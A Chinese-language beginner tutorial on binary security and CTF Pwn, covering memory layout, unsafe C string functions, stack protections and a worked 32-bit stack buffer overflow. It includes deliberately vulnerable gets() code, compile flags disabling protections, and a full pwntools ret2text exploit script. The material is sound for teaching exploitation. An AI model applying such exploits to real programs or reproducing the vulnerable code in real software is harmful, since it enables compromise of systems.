新闻详情

新闻详情

首页 / 资讯中心 / 详情

二进制安全入门:从C语言内存到缓冲区溢出实战

发布时间:2026/9/16 21:02:25来源:尧图网络
二进制安全入门:从C语言内存到缓冲区溢出实战
很多人以为二进制安全入门要先啃汇编、先会逆向、先懂内核结果一看反汇编窗口就劝退了。我最早接触 Pwn 的时候也是这个状态后来才发现真正卡住我的不是工具不会用而是 C 语言里的指针、数组、内存布局这些基础没吃透。这篇内容我就用最直接的方式把二进制安全、C 语言基础、Pwn、缓冲区溢出这条线从头捋一遍适合完全零基础、刚接触 CTF Pwn 方向的读者也适合想搞清楚“缓冲区溢出到底怎么回事”的朋友。我尽量不堆术语但该讲清楚的地方一个都不跳过。毕竟二进制安全的本质就是人和程序内存博弈把内存搞明白了后面学什么都快。1. 先搞明白你在攻击什么一张内存布局图说清二进制安全的主战场1.1 二进制程序运行时的四块内存区域一个 C 源文件编译成二进制程序运行起来之后操作系统会为它分配一块虚拟地址空间整块空间按用途划分成几个区域。入门阶段你先记住几个关键的代码段text、数据段data/bss、堆heap、栈stack。代码段存放的是机器指令也就是程序“原本要干什么”的那部分通常是只读的程序运行期间不会往里面写数据。数据段和 bss 段存的是全局变量、静态变量区别在于前者有初始值后者初始值为 0。堆是程序运行时用malloc、calloc、realloc这类函数动态申请内存的地方地址从低到高增长。栈则主要用来支持函数调用局部变量、函数参数、返回地址都存在这里地址从高到低增长。很多新手一听到堆栈就头大其实可以这样想栈是程序自动帮你管理的临时储物间你进一个函数就开辟一格函数返回就自动释放堆是你自己租的仓库租了得自己还不还就泄漏还错了就崩溃。二进制安全里最常出问题的就是这两个区域尤其是栈。1.2 栈与堆入门阶段只需要抓住这两个对象栈的结构是后进先出程序每调用一个函数都会往栈上压入一帧stack frame里面装着这个函数的局部变量、参数、返回地址等信息。等函数执行完这一帧就被弹出控制权回到调用者。听起来很抽象我给你一个具体点的画面假设 main 函数正运行到第 10 行调用了一个叫vuln的函数。CPU 会先把 main 函数下一条指令的地址也就是返回地址压到栈上然后跳进 vuln 的函数体。vuln 一进来又会在栈上给自己开一块地方放局部变量。等 vuln 执行完CPU 从栈上弹出刚才存的那个返回地址跳回去继续执行 main 的第 11 行。这就是整个调用机制。缓冲区溢出之所以危险就是因为程序在往栈上局部变量区域写数据的时候没有检查长度数据填满了本来的格子之后继续往外溢一路溢到了返回地址所在的位置把返回地址给改掉了。1.3 为什么攻击者是“顺着代码里的漏洞摸到内存”的二进制安全的攻击思路说白了就一句话找到程序里不安全的读写操作利用它们去篡改程序原本的数据流或控制流。篡改数据流比较温和比如改一个变量值、改一个标志位篡改控制流就严重了直接劫持程序跳到攻击者指定的代码去执行。缓冲区溢出就是典型的控制流劫持手段。你要知道CPU 本身没有“恶意代码”的概念它只是按照指令一条一条执行跳转到哪里是内存地址说了算那个地址里存的是正常指令还是攻击者的 shellcodeCPU 根本不关心。所以只要你能控制 PC 寄存器程序计数器x86 下是 EIP/RIP的值你就等于控制了整个程序的行为。这是整个 Pwn 领域最核心的思想后面所有技术、所有绕过思路都在围绕“怎么拿到控制流”和“怎么绕过防护”这两件事展开。2. C 语言是本行基本功指针、数组与字符串里的安全隐患2.1 指针就是内存地址数组就是连续内存别把它们想得太抽象二进制安全里看 C 语言和普通应用开发里看 C 语言视角是不一样的。做上层开发的人关注的是功能能不能实现而你作为搞二进制的人需要关注的是这些语法层面的东西在内存里到底长什么样。指针的本质就是一个变量只不过它存的不是普通数值而是另一个变量的内存地址。int a 5; int *p a;这句话的意思是a 这个变量在内存某个位置p存的是 a 的位置。你通过*p就能间接访问到 a。这就是“间接寻址”。数组更简单它其实就是一段连续的内存。char buf[16]会在栈上或全局区划出 16 个字节的连续空间buf[0]是第一个字节buf[15]是第 16 个字节。C 语言里数组名本身会退化成指向首元素的指针所以buf和buf[0]在大多数场景下是一个东西。这里有一个新手最容易忽略的点C 语言不检查数组越界。你写buf[100]编译器不会报错程序运行时也不会报错它只会老老实实去计算“buf 起始地址 100 × 元素大小”这个内存地址然后去读或写那个位置。至于那个位置是不是合法、是不是属于这个程序、是不是被系统保护那是另一回事。这就是所有溢出漏洞的语法根源。2.2 字符串函数为什么会成为漏洞高发地C 语言里字符串不是一种内置类型它就是一个以\0结尾的字符数组。char *s hello实际上是在内存里放了h e l l o \0六个字节s指向第一个字符。因为字符串没有显式的长度信息所有字符串操作函数都必须通过扫描\0来确定结尾。这类函数里最著名的一对“卧龙凤雏”就是strcpy和gets。strcpy(dest, src)会把 src 指向的字符串逐字节拷贝到 dest 指向的内存一直拷到遇见\0为止。它完全不知道 dest 这块区域到底有多大。gets更直接从标准输入读一行数据放进缓冲区同样不限制长度读多少写多少。所以只要输入数据超过目标缓冲区容量多出来的字节就会像水流漫过堤坝一样一路流向相邻内存。这个“相邻内存”在栈上通常就是旧 ebp、返回地址。这就是缓冲区溢出的经典成因。2.3 写出“带病”的 C 代码一个最容易理解的漏洞示例来看一小段代码#include stdio.h #include string.h void vulnerable(char *input) { char buffer[16]; strcpy(buffer, input); printf(buffer %s\n, buffer); } int main(int argc, char *argv[]) { if (argc 1) { vulnerable(argv[1]); } return 0; }这个程序把命令行参数直接strcpy进一个 16 字节的缓冲区。如果参数输入超过 15 个字符最后一个要给\0留位置strcpy就会继续往栈上写把buffer之后的字节全部覆盖。用gcc vuln.c -o vuln编译后执行./vuln AAAA # 正常运行输出 buffer AAAA ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # 大概率 Segmentation Fault程序直接崩了崩溃的原因就是返回地址被覆盖成了一大串 0x41十六进制里A就是 0x41CPU 想返回到这个非法地址直接段错误。这个“崩溃”其实就是漏洞被触发的表现只不过现在只是随机破坏还没有被利用。真正利用的时候我们要精确控制覆盖的内容让它跳到我们想去的地址。2.4 C 语言学到什么程度够用很多人问“做二进制安全是不是得像科班一样把 C 语言完全学透”我的回答是不需要等你把《C Primer Plus》翻完再开始但你至少要把下面这些点吃透否则后面寸步难行指针操作取地址、解引用*、指针运算p1到底是加几个字节数组与指针的关系数组名、下标访问的本质、越界为什么危险函数调用约定参数怎么传、返回值怎么拿、调用栈怎么压内存管理malloc、free、堆块结构的最小认知字符串函数族strcpy、strcat、sprintf、gets这些不安全函数的共性结构体与联合体知道它们的内存布局是连续的就行常用系统调用system、execve、read、write这些在 Pwn 里极其常见这些都不需要学到能写工程项目的程度重点是“知道每个语法背后的内存行为”。你会发现当你带着这种视角去读 C 代码时一眼就能看出哪里可能有问题这就是二进制安全需要的 C 语言能力。3. Pwn 入门路线从看懂题目到跑通第一个 PoC3.1 Pwn 题到底要干什么拿权限、读 flag、控制程序流先说清楚一个概念Pwn 这个词来自游戏里玩家“碾压、击溃”对手的俚语后来被 CTF 赛事用来指代“利用二进制漏洞攻破程序”这个方向。一道典型的 Pwn 题会给你一个编译好的二进制程序题目环境里还有一个运行着同样程序的服务器你的任务是通过网络与它交互利用程序漏洞获取服务器上的 flag 文件内容。flag 通常是一串特定格式的字符串类似flag{...}。题目程序里往往有读取 flag 的功能但正常情况下你触发不到你需要通过漏洞去把控制流掰过去或者弹出 shell 后在服务器上自己执行cat flag命令。所以 Pwn 题的解题过程就是一个完整的攻击链路分析程序结构找到漏洞点写好利用代码通常叫 exploit 或 PoC连接远程服务器拿 flag。这个过程中你需要用到的工具和能力基本就是二进制安全这个方向的缩影。3.2 本地环境怎么搭虚拟机、gcc、pwntools、gdb学习阶段我建议直接用 Ubuntu 虚拟机或者 Kali Linux。不用折腾苹果 M 系列或者 Windows 上的各种兼容问题虚拟机的隔离环境对调试也友好。管道如下几样是刚需gcc / gdb编译和调试。没有 gdb 的二进制调试基本等于瞎猜。Python3 pwntools这是目前 CTF Pwn 圈使用最广的利用框架它用来发送数据、构造 payload、解析输出、打远程靶机都非常方便。checksec用于查看编译期保护机制的脚本很多环境里它已经集成在 pwntools 中或者作为 pwninit 等工具的一部分。它的作用是让你一眼看出程序开启了哪些防护。安装 pwntools 很简单apt update apt install python3 python3-pip gcc gdb pip3 install pwntools装好后在终端里敲checksec如果提示找不到也可以直接用pwn checksec这个命令就来自 pwntools 的封装。3.3 拿到一道题先看什么checksec 和 file拿到一个 Pwn 题目的二进制文件第一件事不是急着反编译而是先摸清它的底细。两个命令几乎每一题都要用file pwn1 checksec pwn1file会告诉你这个程序是什么架构x86 还是 x64、是不是动态链接、是否 stripped 等。checksec会显示各类保护机制的开启状态这直接决定你的利用方案能不能用、要不要做绕过。下面是一个典型的 checksec 输出Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled这几项几乎就是 Pwn 题的“体检报告”。Stack 后面写着 No canary found说明没有栈保护栈溢出可以直接覆盖返回地址。NX enabled 说明栈不可执行不能直接在栈上放 shellcode 执行。PIE enabled 说明程序地址随机化你需要先泄露出一个地址才能计算目标地址。每一项都有对应的破解思路后文我会把最常见的几个防护和对应的入门绕过方式说清楚。3.4 常见题型分类栈溢出、堆溢出、格式化字符串、整数溢出Pwn 题按漏洞类型可以大致分成几类入门阶段优先级很明确栈溢出最经典、最基础的题型也是理解后续所有漏洞的起点。利用方式主要是覆盖返回地址、覆盖局部变量、栈迁移等。格式化字符串printf的参数个数不匹配导致可以用%x、%n这类格式符读栈上数据甚至写任意地址既能用来泄露地址也能用来改 GOT 表。整数溢出整数运算超出范围导致值被截断经常被用来绕过长度检查更多是作为辅助手段配合栈或堆溢出使用。堆溢出涉及 glibc 堆管理机制包括 UAF、double free、house of 系列需要先熟练掌握栈溢出再入门。我建议你把栈溢出的原理彻底搞透再谈堆因为堆里的很多思想比如劫持控制流、伪造块、绕过防护都是栈溢出的思路在堆上的迁移。4. 缓冲区溢出的原点栈帧结构、返回地址与经典的 ret2text/ret2shellcode4.1 函数调用时栈上发生了什么要理解缓冲区溢出必须先知道函数调用时栈上到底压了什么。以 32 位程序为例函数调用过程大致是这样的调用者把参数按约定压栈。CPU 执行call指令把当前指令的下一条地址返回地址压入栈。进入被调函数后先push ebp保存调用者的栈基址再mov ebp, esp设置自己这一帧的栈基址。然后sub esp, 0xXX给局部变量腾出空间。所以一个典型的栈帧从低地址到高地址依次是局部变量区域、旧 ebp、返回地址、调用者参数。这里的地址方向要记住栈是从高地址向低地址增长的但局部变量内部的地址是从低到高排列的。意味着你在往局部变量数组里写数据时是从低地址往高地址写写满了数组边界之后下一个覆盖到的就是旧 ebp再下一个就是返回地址。这就是为什么gets或strcpy超长输入可以“一路向上”最终覆盖到返回地址。4.2 溢出是怎么发生的strcpy/gets 的真实行为还是用代码说话。来看这个经典示例#include stdio.h #include stdlib.h void win() { system(cat flag.txt); } void vulnerable() { char buffer[64]; gets(buffer); } int main() { vulnerable(); return 0; }这里没做任何防护并且提前给了一个条件很好的后门函数win()只要让程序跳过去它就会执行cat flag.txt。这种“程序里已经藏好后门函数你的目标就是跳过去”的题型叫 ret2text新手最友好。gets会从标准输入读一整行全部写入 buffer。如果输入长度超过 63就会覆盖 buffer 之外的内存。在没有开启 canary 保护的情况下覆盖顺序是从 buffer 的末尾走到旧 ebp再走到返回地址。4.3 第一个完整示例覆盖返回地址的步骤推演在 32 位程序、栈上对齐没有额外调整的前提下偏移量计算如下buffer 大小为 64 字节占[ebp-0x40, ebp]这个范围。ebp这个位置放的是旧 ebp占 4 字节。返回地址位于[ebp4]。所以你在输入 64 字节填满 buffer 后再输入 4 个字节把旧 ebp 区域占掉紧接着的 4 个字节就会覆盖返回地址。整个 payload 结构就是A * 64 B * 4 win函数的地址实际做题时偏移量不一定永远是这么规整。因为编译器可能做栈对齐可能在 buffer 和旧 ebp 之间留白也可能变量声明顺序不同导致 buffer 位置不同。所以新手的标准做法是先用 gdb 跑一遍看清楚 buffer 和返回地址之间的真实距离或者用 pwntools 的 cyclic 生成随机字符串让程序崩溃再从崩溃信息里读出偏移量。这两种方式我会在实操那一节讲。4.4 现代防护机制Canary、NX、PIE、ASLR 分别挡什么了解了基础攻击再来看防护才明白每道题为什么那么难搞。真实环境中包括大部分 CTF 中高等题目不会让你轻轻松松覆盖返回地址编译器在帮你挡系统也在帮你挡。入门阶段你至少要知道下面四样是干嘛的Stack Canary栈金丝雀函数入口处往栈上放一个随机值函数返回前检查它是否被改写。如果溢出覆盖到了 canary检查失败程序直接终止。它就像一个设防的防盗线防止你无脑覆盖。NX不可执行栈栈上的数据段不可执行。就算你把 shellcode 写进了栈CPU 也会拒绝执行栈上的机器指令。它逼你不能用 ret2shellcode得去找已有函数、或者通过 ROP 拼指令。PIE位置无关可执行代码程序本身的代码段基址被随机化每次运行地址都不同。它逼你不能直接写死某个函数的地址必须先通过漏洞泄露一个真实运行地址再算出基址。ASLR地址空间布局随机化系统层面的随机化把栈、堆、共享库等地址随机影响 ret2libc 这类利用方式。把这几个防护的意义搞明白你再看题目思路就会变成Canary 先想办法不触发或泄露NX 就直接考虑 ret2libc 或者 ret2dlresolvePIE 就找信息泄露漏洞。这就是“逆向审视”一个程序保护强度的基本功。5. 实操记录关掉防护的 32 位 demo亲手覆盖返回地址5.1 实验环境与编译参数这一节我以一个本地 demo 完整演示一遍从编译到打通的流程。机器环境是 Ubuntu 22.04 虚拟机32 位编译需要在系统里装gcc-multilibapt install gcc-multilib编写如下 C 代码文件名vuln.c#include stdio.h #include stdlib.h void win() { system(cat flag.txt); } void vuln() { char buffer[64]; gets(buffer); } int main() { vuln(); return 0; }编译时手动关闭现代防护制造一个最理想的学习环境gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c参数含义分别是-m32编译成 32 位程序-fno-stack-protector关闭 canary 保护-z execstack关闭 NX 使栈可执行-no-pie关闭 PIE 让程序地址固定。再用 checksec 看一下Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)四个关键保护全关简直是学习栈溢出的绝佳靶子。5.2 用 objdump 和 gdb 观察栈布局你要在本地模拟 flag 文件随便写一个内容进去echo flag{test_overflow} flag.txt然后先用 objdump 找到win函数地址objdump -d vuln | grep win在我的编译结果中win地址是0x080491b6。不同机器、不同 GCC 版本可能会有差异你自己编译出来是多少就用多少。接着用 gdb 看vuln函数内部布局gdb ./vuln (gdb) disassemble vuln输出大致是Dump of assembler code for function vuln: 0x080491dd 0: push ebp 0x080491de 1: mov ebp,esp 0x080491e0 3: sub esp,0x48 0x080491e3 6: lea eax,[ebp-0x40] 0x080491e6 9: mov DWORD PTR [esp],eax 0x080491e9 12: call 0x8049050 getsplt 0x080491ee 17: leave 0x080491ef 18: ret关键信息在sub esp, 0x48和lea eax, [ebp-0x40]说明局部变量 buffer 的起始位置是ebp-0x40也就是距离 ebp 有 0x40 64 字节。正好对应 buffer[64]。所以要覆盖到返回地址偏移是 64 4 68 字节[ebp-0x40]到[ebp]是 64 字节[ebp]到[ebp4]是旧 ebp 占的 4 字节。5.3 计算偏移量从崩溃到精确控制返回地址虽然这里我通过看汇编能直接算出偏移是 68但实际做题时经常需要动态确认尤其是碰到栈上有其他变量、或者编译器做了额外对齐的时候。标准做法是使用 pwntools 的 cyclic。from pwn import * # 生成长度为 200 的随机字符串 payload cyclic(200) # 用管道输入给程序让它崩溃 p process(./vuln) p.sendline(payload) p.wait() print(p.corefile) # 或者看崩溃时的 EIP 值程序崩溃后EIP 被覆盖成四个来自随机字符串的字符。把这四个字符放进 cyclic_find 里就能反推出偏移crash_eip bvaaa # 举例实际从报错信息中获取 offset cyclic_find(crash_eip) print(offset) # 预期是 68这个方法的原理很简单随机字符串里每一个四字节组合都是唯一的就像给每块内存贴了个编号程序崩在哪个编号上就说明返回地址被哪一段覆盖了。5.4 最终 PoC 代码与执行结果确认偏移后写完整 PoCfrom pwn import * context.arch i386 context.log_level debug p process(./vuln) # win 函数地址按自己 objdump 的结果填 win_addr 0x080491b6 payload bA * 68 # 覆盖 buffer 旧 ebp payload p32(win_addr) # 覆盖返回地址 p.sendline(payload) p.interactive()执行后你会看到flag{test_overflow}被打印出来代表程序成功跳转到win()并执行了cat flag.txt。整个过程到这里你已经亲手完成了一次完整的栈溢出利用先分析漏洞点再确定偏移量最后控制返回地址劫持控制流。这就是 Pwn 入门阶段的“Hello World”。这里顺便提醒一个新手经常踩的坑如果你用的是 64 位程序返回地址偏移的计算方式类似但因为寄存器位宽和栈对齐规则不同payload 里填充地址要用p64()而不是p32()且要注意 64 位下 RSP 需要 16 字节对齐否则调用system这类 libc 函数时可能直接崩掉。入门阶段建议先老老实实玩 32 位把流程弄通再上 x64。6. 入门阶段踩过的坑和一条更省时间的路径6.1 最大误区一上来就啃源码和汇编我在不少交流群里看到新手问的第一个问题就是“汇编怎么学”“逆向怎么入门”然后转头就去啃《汇编语言》《加密与解密》这种大部头啃了两周还在第一章最后放弃了。这是入门 Pwn 最大的误区。汇编和逆向当然重要但不是你第一周就要掌握的东西。入门阶段你需要掌握的汇编量其实很有限push、pop、mov、lea、call、ret、leave、add、sub、cmp、jmp、jne这一二十条指令的读写行为配合看懂栈帧就足够开始做前几十道栈溢出了。你可以边做题边积累看到不懂的指令现场查手册这样记忆远比死记硬背深刻。同理阅读源码的能力和利用二进制的能力是两码事。做题时你经常看不到源码只能用objdump、gdb、IDA 这类工具去反推逻辑。但小白阶段完全可以从“有源码”的题目开始先理解漏洞原理再过渡到“无源码”的真实 CTF 题。6.2 学习资料和练习平台的选择资料不在多而在精。入门阶段我认为比较顺手的组合是CTF Wikictf-wiki.orgPwn 方向讲得非常系统栈溢出的原理、例题、绕过方式都有而且免费。BUUCTF 和 CTFshow这两个平台上都有大量带环境复现的真题前者有难度梯度下的栈溢出题目后者的 pwn 方向可以按编号从简单开到难。pwntools 官方文档不需要通读用到什么查什么重点看p32/p64、cyclic、process/remote、sendline、interactive这几个 API。一些 wpwriteup即解题报告建议当作“卡住之后的参考答案”而不是预习材料。先自己尝试思考实在没思路再读题解然后照着思路自己重新打一遍。6.3 给新手的学习路线建议如果让我重新走一遍入门 Pwn 的学习路径我会把顺序严格排成下面这样C 语言基础重点学指针、数组、字符串函数、结构体、malloc/free。大约需要一周到两周不用全学完够用就行。常见汇编指令 栈帧概念能读懂objdump反汇编的小函数即可不需要做到人肉反编译的水平。环境搭建与工具基本操作gcc、gdb、pwntools、checksec每个工具至少完成一次“读写输入-崩溃-调试”的闭环。栈溢出入门从 ret2text 开始依次做 ret2shellcode、ret2syscall、ret2libc 这几类题目把偏移量计算和基础 ROP 的链式调用搞明白。格式化字符串重点理解%n和%x的读写能力学会泄露地址和写 GOT。堆入门从 UAF 开始理解 fastbin、unsorted bin 的基本操作再慢慢深入 glibc 堆管理。这个路线走到第 4 步的 ret2libc 时你就已经有能力独立做掉不少入门级 Pwn 题了。关键是每走一步都要“亲手打一遍”只看不做等于没学。最后再分享一个个人经验二进制安全的学习曲线确实陡但它不是一条直线爬坡而是一节一节的台阶。每当你突然想明白某个机制比如为什么偏移要加 4为什么 PIE 开了地址会变时前面困惑了很久的问题往往会一次性串联起来。这个过程非常痛苦但也非常上瘾你唯一需要做的就是别停手多调试、多试错、多打题。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

51单片机语音计算器:从串口协议到表达式解析的完整实现 2026/9/16 21:44:32

51单片机语音计算器:从串口协议到表达式解析的完整实现

简介:一个基于51系列单片机实现的语音计算器项目,面向正在做课程设计、毕业设计或嵌入式初学进阶的开发者。项目围绕按键输入、数值计算、语音播报三大功能展开,涉及TTS语音合成芯片(如ISD1760)驱动、矩阵键盘扫描、UA…

阅读更多 →
grocy 标签打印实战:基于 Webhook 的标签打印机集成方案 2026/9/16 21:44:32

grocy 标签打印实战:基于 Webhook 的标签打印机集成方案

grocy 标签打印实战:基于 Webhook 的标签打印机集成方案 【免费下载链接】grocy ERP beyond your fridge - Grocy is a web-based self-hosted groceries & household management solution for your home 项目地址: https://gitcode.com/GitHub_Trending/gr/g…

阅读更多 →
持续学习实战指南:从灾难性遗忘到模型增量更新 2026/9/16 21:44:32

持续学习实战指南:从灾难性遗忘到模型增量更新

持续学习(Continual Learning,也叫 Life-long Learning)听起来挺学术,但真把模型放到业务里跑过一两年的人,几乎都撞见过它的反面——灾难性遗忘。我最早被这个问题“挑衅”是在一个智能相册分类项目里:模型…

阅读更多 →
零基础Python调用豆包大模型API实战教程 2026/9/16 21:44:32

零基础Python调用豆包大模型API实战教程

很多朋友一听到“大模型开发”就心里发怵,总觉得这是算法工程师才能碰的东西,自己连代码都没写过几行,学这个是不是自讨苦吃。实际上,现在是做AI应用最好的时候,因为底层的模型能力都被封装成API了,你不需要…

阅读更多 →
S7-200与组态王实现单容液位控制系统:从PLC程序到画面组态全解析 2026/9/16 21:44:32

S7-200与组态王实现单容液位控制系统:从PLC程序到画面组态全解析

来了。既然标题里都说了“手把手把程序逻辑和画面组态揉碎了讲”,那咱们就不兜圈子,直接进入正题。单容液位控制在工控领域里算是入门级的经典对象,但恰恰是这种“经典”,才最考验基本功。很多刚入行的朋友上来就盯着PID参数怎么调…

阅读更多 →
2026美赛C题解析:天文数据建模与科学解释 2026/9/16 21:41:32

2026美赛C题解析:天文数据建模与科学解释

1. 项目概述:2026年美赛C题解析框架2026年美国大学生数学建模竞赛(MCM)的C题聚焦于星体相关数据分析,这类题目通常要求参赛者处理天文观测数据、建立数学模型并给出科学解释。从历史赛题来看,天体物理类题目往往涉及轨…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞